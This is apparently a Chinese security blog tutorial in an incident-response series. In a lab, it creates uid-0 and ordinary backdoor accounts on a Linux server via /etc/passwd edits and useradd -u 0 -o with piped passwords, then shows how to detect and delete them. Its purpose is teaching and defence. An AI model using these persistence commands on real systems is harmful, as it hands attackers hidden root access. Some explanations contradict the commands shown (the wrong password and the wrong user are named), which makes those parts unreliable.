当前位置: 首页 > news >正文

[ 应急响应进阶篇-2 ] Linux创建后门并进行应急处置-1:超级用户帐号后门

🍬 博主介绍

👨‍🎓 博主介绍:大家好,我是 _PowerShell ,很高兴认识大家~
✨主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!

文章目录

  • 🍬 博主介绍
    • 2.1 Linux后门应急-1:增加超级用户帐号
      • 2.1.1 增加超级用户帐号后门介绍
        • 2.1.1.1 超级用户账号简介
        • 2.1.1.2 原理
        • 2.1.1.3 实现步骤
        • 2.1.1.4 防御措施
      • 2.2.2 超级用户帐号创建实战
        • 2.2.2.1 前提条件
        • 2.2.2.2 环境介绍
        • 2.2.2.3 情况一:可以交互且允许uid=0的用户远程登录
          • 2.2.2.3.1 增加超级用户账号后门
          • 2.2.2.3.2 超级用户账号后门测试
        • 2.2.2.4 情况二:可以交互且不允许uid=0的用户远程登录
          • 2.2.2.4.1 设置靶机不允许uid=0的用户登录
          • 2.2.2.4.2 增加超级用户账号后门
          • 2.2.2.4.3 超级用户账号后门测试
        • 2.2.2.5 情况三:不交互无回显添加Linux密码
          • 2.2.2.5.1 简单解释不交互无回显
          • 2.2.2.5.2 方案一
          • 2.2.2.5.3 验证方案一
          • 2.2.2.5.4 方案二
          • 2.2.2.5.5 验证方案二
          • 2.2.2.5.6 方案三
          • 2.2.2.5.7 验证方案三
      • 2.2.3 非法超级用户帐号应急实战
        • 2.2.3.1 找到后门用户
        • 2.2.3.2 删除所有后门用户
  • 相关资源

2.1 Linux后门应急-1:增加超级用户帐号

2.1.1 增加超级用户帐号后门介绍

2.1.1.1 超级用户账号简介

增加超级用户账号是一种常见的后门技术,通过创建高权限账户来保持对系统的长期控制。这种方法通常在攻击者获得系统root权限后执行,以便日后再次访问。

2.1.1.2 原理

增加超级用户账号的原理是通过修改系统文件如/etc/passwd或/etc/shadow,添加新的用户条目并赋予其root权限。这些新用户将具有与系统管理员相同的权限,从而能够绕过正常的安全验证。

2.1.1.3 实现步骤

首先,通过命令行工具如echo和passwd向/etc/passwd和/etc/shadow文件中添加新的用户记录。然后,设置该用户的密码。最后,通过SSH或其他远程登录方式使用新创建的超级用户账号进行登录。

2.1.1.4 防御措施

为防止此类攻击,应定期检查系统文件的完整性,监控异常登录行为,并限制sudo权限的使用。同时,采用多因素认证和日志审计等手段提高系统安全性。

2.2.2 超级用户帐号创建实战

2.2.2.1 前提条件

假设在攻击的过程中,我们通过利用各种getshell手段,不仅成功渗透进了目标服务器的防御体系,还进一步拿到了具有最高控制权限的root权限,这意味着我们已经能够完全掌控这台服务器,可以执行任何我们需要的操作。这时候我们需要进行权限维持,从而创建各种后门。

2.2.2.2 环境介绍

靶机: centos7
IP: 10.0.0.202
攻击机: kali
IP: 10.0.0.128
远程模拟获取到的权限

ssh root@10.0.0.202

在这里插入图片描述

2.2.2.3 情况一:可以交互且允许uid=0的用户远程登录
2.2.2.3.1 增加超级用户账号后门
echo "powershell:x:0:0::/:/bin/sh" >> /etc/passwd #增加超级用户账号
passwd powershell #修改powershell的密码为PS@SP@12@
由于有复杂度的要求,我设的复杂了一点点

在这里插入图片描述

2.2.2.3.2 超级用户账号后门测试

远程登录powershell测试,ssh远程登录,输入密码,登录成功,而且是root权限

ssh powershell@10.0.0.202
whoami

在这里插入图片描述

2.2.2.4 情况二:可以交互且不允许uid=0的用户远程登录
2.2.2.4.1 设置靶机不允许uid=0的用户登录

Linux禁止root账户远程登录

1.修改配置文件

vi /etc/ssh/sshd_config
PermitRootLogin改成no 
直接在配置文件末尾添加 PermitRootLogin no  也是可行的

在这里插入图片描述

2.最后重启ssh服务

service sshd restart

在这里插入图片描述

3.配置成功
再次采用root权限用户进行登陆,登陆不成功。

在这里插入图片描述

2.2.2.4.2 增加超级用户账号后门

如果系统不允许 uid=0 的用户远程登录(因为root的uid=0),可以增加一个普通用户账号
这种情况是防止后续用户禁止root登录,我们的root权限账户丢失,而丢失目标系统的所有权限,可以提前创建一个普通用户账号。

echo "hanchan:x:1000:1000::/:/bin/sh" >> /etc/passwd  #增加普通用户账号
passwd hanchan  #修改hanchan的密码为PS@SP@12@

在这里插入图片描述

2.2.2.4.3 超级用户账号后门测试

远程登录hanchan测试,ssh远程登录,输入密码,登录成功,而且是hanchan普通用户权限。
这个时候登录root账户,即使输入正确的密码也是不能成功登录的(因为root的uid=0)

在这里插入图片描述

2.2.2.5 情况三:不交互无回显添加Linux密码
2.2.2.5.1 简单解释不交互无回显

不交互无回显添加Linux密码指的是一种自动化脚本或命令行工具的使用方法,它允许管理员在没有用户交互的情况下(即不需要手动输入密码),并且不在终端上显示(即无回显)的情况下设置或更改用户的密码。这种技术常用于自动化部署、批量管理系统账户或者在脚本中安全地处理密码。
简单来说:我创建用户不需要在交互页面中输入密码、确认密码

2.2.2.5.2 方案一

创建后门用户hanchan1

useradd hanchan -u 0 -o -g root -G root|| echo "123456" | passwd --stdin hanchan #创建账户hanchan、密码123456且为root权限这个命令分为两部分,由 || 连接
useradd: 这个命令用于创建一个新的用户账户。
hanchan: 这是新用户的用户名。
-u 0: 这个选项指定了用户的UID(用户标识符)。UID为0通常表示root用户。
-o: 这个选项允许覆盖系统默认设置,例如在UID为0的情况下仍然创建用户。
-g root: 这个选项将用户分配到root组。
-G root: 这个选项将用户添加到其他附加组,这里也是root组。
echo "123456": 输出密码123456。
|: 管道符号,将左边的输出作为右边命令的输入。
passwd --stdin hanchan: 使用标准输入来设置用户hanchan的密码。如果用户 hanchan 已经存在且你不知道当前密码,执行这个命令将会把 hanchan 的密码修改为 123456。这是因为 passwd --stdin 命令允许通过标准输入直接设置新密码,绕过了需要知道当前密码的限制。

如果想直接修改原有用户密码,直接执行就可以

在这里插入图片描述

创建新的用户得执行命令两次才可以

useradd hanchan1 -u 0 -o -g root -G root|| echo "123456" | passwd --stdin hanchan1 #创建账户hanchan、密码123456且为root权限
useradd hanchan1 -u 0 -o -g root -G root|| echo "123456" | passwd --stdin hanchan1 #创建账户hanchan、密码123456且为root权限

在这里插入图片描述

查看hanchan1用户权限
本想直接创建hanchan用户,哪曾想已经存在了,执行结果就是修改了他的密码,但他的用户权限是不变的。又创建了一个hanchan1的新用户。
查看新用户hanchan1权限为root权限

在这里插入图片描述

切换到hanchan1用户执行whoami

在这里插入图片描述

2.2.2.5.3 验证方案一

ssh登录hanchan1用户,登陆成功,说明我们创建的后门用户可用。

ssh hanchan1@10.0.0.202

在这里插入图片描述

2.2.2.5.4 方案二

创建后门用户hanchan2

useradd  hanchan2
echo "123456" | passwd --stdin hanchan2

在这里插入图片描述

查看hanchan2权限,权限较小

cat /etc/passwd

在这里插入图片描述

su hanchan2
whoami

在这里插入图片描述

2.2.2.5.5 验证方案二

ssh登录hanchan1用户,登陆成功,说明我们创建的后门用户可用。

ssh hanchan2@10.0.0.202

在这里插入图片描述

2.2.2.5.6 方案三

创建后门用户hanchan3

useradd -u 0 -o -g root -G root hanchan3 | echo -e "1han2chan\n1han2chan" | passwd hanchan3
useradd -u 0 -o -g root -G root hanchan3 | echo -e "1han2chan\n1han2chan" | passwd hanchan3useradd: 创建新用户的命令。
-u 0: 指定用户的 UID(用户标识符)为 0UID 0 通常保留给超级用户(root)。
-o: 允许使用重复的 UID。默认情况下,如果指定的 UID 已经存在,useradd 会失败。加上 -o 选项后,即使 UID 已存在,也会继续执行。
-g root: 将用户的主要组设置为 root。
-G root: 将用户添加到 root 组中。
hanchan3: 要创建的用户名。
|:管道符号用于将前一个命令的输出作为下一个命令的输入。在这里,它的作用是将 useradd 命令的输出传递给 echo 命令。
echo: 打印文本到标准输出。
-e: 启用转义字符的解释。
"1han2chan\1han2chan": 要打印的字符串,其中 \n 表示换行符。因此,这个命令会输出两行相同的密码 1qazwsx2wsx。
passwd: 更改用户密码的命令。
hanchan3: 要更改密码的用户名。

也是得执行两次,并且对密码强度有要求
在这里插入图片描述
查看hanchan3权限,为root权限

cat /etc/passwd

在这里插入图片描述

su hanchan2
whoami

在这里插入图片描述

2.2.2.5.7 验证方案三

ssh登录hanchan1用户,登陆成功,说明我们创建的后门用户可用。

ssh hanchan2@10.0.0.202

在这里插入图片描述

2.2.3 非法超级用户帐号应急实战

2.2.3.1 找到后门用户

Linux下查看可以远程登录的账号信息

awk '/\$1|\$6/{print $1}' /etc/shadow

在这里插入图片描述

查看特权账户,那些账户有root权限

awk -F: '$3==0 {print$1}' /etc/passwd

在这里插入图片描述

之后与服务器管理员沟通,就可以确定黑客增加的用户账号了。
最终确认了powershell、hanchan、hanchan1、hanchan2、hanchan3五个后门用户,将其删除即可。

2.2.3.2 删除所有后门用户

删除相关文件的所有的行

vi /etc/passwd
vi /etc/shadow
vi /etc/group

在这里插入图片描述

删除归于后门用户的所有的文件及文件夹以及计划任务等等内容,后续还会详细讲到。

相关资源

[ 应急响应进阶篇-1 ] Windows 创建后门并进行应急处置-1:windows后门账户
[ 应急响应进阶篇-1 ] Windows 创建后门并进行应急处置-2:计划任务后门
[ 应急响应进阶篇-1 ] Windows 创建后门并进行应急处置-3:windows服务后门
[ 应急响应进阶篇-1 ] Windows 创建后门并进行应急处置-4:启动项后门
[ 应急响应进阶篇-1 ] Windows 创建后门并进行应急处置-5:Shift 粘贴键后门
[ 应急响应进阶篇-1 ] Windows 创建后门并进行应急处置-6:windows轻松访问后门

相关文章:

[ 应急响应进阶篇-2 ] Linux创建后门并进行应急处置-1:超级用户帐号后门

🍬 博主介绍 👨‍🎓 博主介绍:大家好,我是 _PowerShell ,很高兴认识大家~ ✨主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】 🎉点赞➕评论➕收藏 养成习…...

【无人机/平衡车/机器人】详解STM32+MPU6050姿态解算—卡尔曼滤波+四元数法+互补滤波

详解STM32+MPU6050姿态解算—卡尔曼滤波+四元数法+互补滤波 效果: 更多单片机项目,单片机项目合集列表目录与专栏说明: 单片机项目合集列表与专栏说明——Excel合集列表目录查阅(持续更新)-CSDN博客​编辑https://archie.blog.csdn.net/article/details/142381401https:/…...

数据结构-8.Java. 七大排序算法(上篇)

本篇博客给大家带来的是排序的知识点, 由于时间有限, 分两天来写, 上篇主要实现 前四种排序算法: 直接插入, 希尔, 选择, 堆排。 文章专栏: Java-数据结构 若有问题 评论区见 欢迎大家点赞 评论 收藏 分享 如果你不知道分享给谁,那就分享给薯条. 你们的支持是我不断创作的动力 …...

YOLOV5/rknn生成可执行文件部署在RK3568上

接上一篇文章best-sim.rknn模型生成好后,我们要将其转换成可执行文件运行在RK3568上,这一步需要在rknpu上进行,在强调一遍!!rknpu的作用是可以直接生成在开发板上运行的程序 退出上一步的docker环境 exit1.复制best-…...

java http body的格式 ‌application/x-www-form-urlencoded‌不支持文件上传

在Java中,HTTP请求的body部分可以包含多种格式的数据,主要包括以下几种‌: ‌application/x-www-form-urlencoded‌:这种格式将数据编码成键值对的形式,键和值都进行了URL编码,键值对之间用&符号连接。…...

GPU服务器厂家:为什么要选择 GPU 服务器?

文章来源于百家号:GPU服务器厂家 嘿,各位小伙伴们!今天咱来聊聊为啥要选择 GPU 服务器,特别是定制化的那种哦。 你们知道吗?现在定制化 GPU 服务器那可是超火的,简直就是科研项目的超强 “外挂”&#x…...

Python操作neo4j库py2neo使用之py2neo 删除及事务相关操作(三)

Python操作neo4j库py2neo使用之py2neo 删除及事务相关操作(三) py2neo 删除 1、连接数据库 from py2neo import Graph graph Graph("bolt://xx.xx.xx.xx:7687", auth(user, pwd), nameneo4j)2、删除节点 # 删除单个节点 node graph.node…...

Idea忽略提交文件、Idea设置文件隐藏、Idea提交时隐藏部分文件、git提交时忽略文件

文章目录 一、在idea中commit文件时隐藏文件方式一:创建.gitignore文件(推荐)方式二:‌通过File Types设置隐藏文件方式三:通过Git配置忽略文件‌(不推荐)总结 二、可能遇到的问题2.1、.gitigno…...

python如何使用spark操作hive

文章目录 1、服务启动2、修改配置3、验证4、开发环境编写代码操作hive 1、服务启动 # 启动hdfs和yarn start-all.sh # 日志服务也需要启动一下 mapred --daemon start historyserver # 启动spark的日志服务 /opt/installs/spark/sbin/start-history-server.sh #启动hive的meta…...

观察者模式和订阅模式

观察者模式和订阅模式在概念上是相似的,它们都涉及到一个对象(通常称为“主题”或“发布者”)和多个依赖对象(称为“观察者”或“订阅者”)之间的关系。然而,尽管它们有相似之处,但在某些方面也…...

基于ToLua的C#和Lua内存共享方案保姆级教程

C#和Lua内存共享方案保姆级教程 前言 在介绍C#和Lua内存共享方案之前,先介绍下面两个点来支撑这个方案的必要性 跨语言交互很费 Lua和C#交互最早是基于反射的方式实现的,后来为了提升性能发展成Luajit+C#静态方法导出注入到lua虚拟机的方式至此Lua+Unity的性能才达到了实…...

OpenCV与AI深度学习|16个含源码和数据集的计算机视觉实战项目(建议收藏!)

本文来源公众号“OpenCV与AI深度学习”,仅用于学术分享,侵权删,干货满满。 原文链接:分享|16个含源码和数据集的计算机视觉实战项目 本文将分享16个含源码和数据集的计算机视觉实战项目。具体包括: 1. 人…...

Vue 如何简单更快的对 TypeScript 中接口的理解?应用场景?

TypeScript 中接口(Interface)的理解与应用 在 TypeScript 中,接口(Interface) 是一种用来定义对象的结构或形状的方式。接口可以指定对象中应该包含哪些属性、这些属性的类型以及它们的函数签名。接口帮助我们在代码…...

R语言绘图过程中遇到图例的图块中出现字符“a“的解决方法

R语言绘图过程中遇到图例的图块中出现字符的解决方法 因为我遇到这个问题的时候没在网上找到合适的方法,找到个需要付费的,算了。也许是因为问的方式不同,问了半天AI也回答出来,莫名有些烦躁,打算对代码做个分析&…...

视图合并机制解析 | OceanBase查询优化

背景 在默认配置下,若查询语句中嵌入了视图,系统会先等待视图内部所包含的查询完全执行完成后,再继续执行父查询。这种方式造成优化器无法将视图查询与外层查询视为一个整体来进行优化处理,从而限制了优化效果。因此,…...

sql注入报错分享(mssql+mysql)

mysql mysql的报错内容比较多 网上也有比较多的 这里重复的就不多介绍了。一笔带过 溢出类 bigint 当超过mysql的整形的时候,就会导致溢出,mysql可能会将错误信息带出。这里user()是字母默认为0 取反以后1可能就会导致异常。 报错特征 BIGINT UNSIG…...

PHP 高并发解决方案

PHP作为一种脚本语言,在处理高并发请求时可能面临一些挑战。但通过合理的设计和优化,可以有效提升PHP应用程序的性能和并发处理的能力。 一、缓存 页面缓存:将生成的页面缓存起来,减少对数据库的查询,提高响应速度。…...

k8s1.30.0高可用集群部署

负载均衡 nginx负载均衡 两台nginx负载均衡 vim /etc/nginx/nginx.conf stream {upstream kube-apiserver {server 192.168.0.11:6443 max_fails3 fail_timeout30s;#server 192.168.0.12:6443 max_fails3 fail_timeout30s;#server 192.168.0.13:6443 max_fails3…...

多摩川编码器协议及单片机使用

参考: https://blog.csdn.net/qq_28149763/article/details/132718177 https://mp.weixin.qq.com/s/H4XoR1LZSMH6AxsjZuOw6g 1、多摩川编码器协议 多摩川数据通讯是基于485 硬件接口标准NRZ 协议,通讯波特率为2.5Mbps 的串行通讯,采用差分两…...

Android 网络通信(三)OkHttp实现登入

学习笔记 目录 一. 先写XML布局 二、创建 LoginResponse 类 :封装响应数据 目的和作用: 三、创建 MyOkHttp 类 :发送异步请求 代码分析 可能改进的地方 总结 四、LoginActivity 类中实现登录功能 详细分析与注释: 总结: 改进建议: 零、响应数据样例 通过 P…...

web vue 项目 Docker化部署

Web 项目 Docker 化部署详细教程 目录 Web 项目 Docker 化部署概述Dockerfile 详解 构建阶段生产阶段 构建和运行 Docker 镜像 1. Web 项目 Docker 化部署概述 Docker 化部署的主要步骤分为以下几个阶段: 构建阶段(Build Stage)&#xff1a…...

R语言AI模型部署方案:精准离线运行详解

R语言AI模型部署方案:精准离线运行详解 一、项目概述 本文将构建一个完整的R语言AI部署解决方案,实现鸢尾花分类模型的训练、保存、离线部署和预测功能。核心特点: 100%离线运行能力自包含环境依赖生产级错误处理跨平台兼容性模型版本管理# 文件结构说明 Iris_AI_Deployme…...

基于uniapp+WebSocket实现聊天对话、消息监听、消息推送、聊天室等功能,多端兼容

基于 ​UniApp + WebSocket​实现多端兼容的实时通讯系统,涵盖WebSocket连接建立、消息收发机制、多端兼容性配置、消息实时监听等功能,适配​微信小程序、H5、Android、iOS等终端 目录 技术选型分析WebSocket协议优势UniApp跨平台特性WebSocket 基础实现连接管理消息收发连接…...

土地利用/土地覆盖遥感解译与基于CLUE模型未来变化情景预测;从基础到高级,涵盖ArcGIS数据处理、ENVI遥感解译与CLUE模型情景模拟等

🔍 土地利用/土地覆盖数据是生态、环境和气象等诸多领域模型的关键输入参数。通过遥感影像解译技术,可以精准获取历史或当前任何一个区域的土地利用/土地覆盖情况。这些数据不仅能够用于评估区域生态环境的变化趋势,还能有效评价重大生态工程…...

基于Java Swing的电子通讯录设计与实现:附系统托盘功能代码详解

JAVASQL电子通讯录带系统托盘 一、系统概述 本电子通讯录系统采用Java Swing开发桌面应用,结合SQLite数据库实现联系人管理功能,并集成系统托盘功能提升用户体验。系统支持联系人的增删改查、分组管理、搜索过滤等功能,同时可以最小化到系统…...

【Go语言基础【13】】函数、闭包、方法

文章目录 零、概述一、函数基础1、函数基础概念2、参数传递机制3、返回值特性3.1. 多返回值3.2. 命名返回值3.3. 错误处理 二、函数类型与高阶函数1. 函数类型定义2. 高阶函数(函数作为参数、返回值) 三、匿名函数与闭包1. 匿名函数(Lambda函…...

使用Spring AI和MCP协议构建图片搜索服务

目录 使用Spring AI和MCP协议构建图片搜索服务 引言 技术栈概览 项目架构设计 架构图 服务端开发 1. 创建Spring Boot项目 2. 实现图片搜索工具 3. 配置传输模式 Stdio模式(本地调用) SSE模式(远程调用) 4. 注册工具提…...

【JVM面试篇】高频八股汇总——类加载和类加载器

目录 1. 讲一下类加载过程? 2. Java创建对象的过程? 3. 对象的生命周期? 4. 类加载器有哪些? 5. 双亲委派模型的作用(好处)? 6. 讲一下类的加载和双亲委派原则? 7. 双亲委派模…...

腾讯云V3签名

想要接入腾讯云的Api,必然先按其文档计算出所要求的签名。 之前也调用过腾讯云的接口,但总是卡在签名这一步,最后放弃选择SDK,这次终于自己代码实现。 可能腾讯云翻新了接口文档,现在阅读起来,清晰了很多&…...

【JavaSE】多线程基础学习笔记

多线程基础 -线程相关概念 程序(Program) 是为完成特定任务、用某种语言编写的一组指令的集合简单的说:就是我们写的代码 进程 进程是指运行中的程序,比如我们使用QQ,就启动了一个进程,操作系统就会为该进程分配内存…...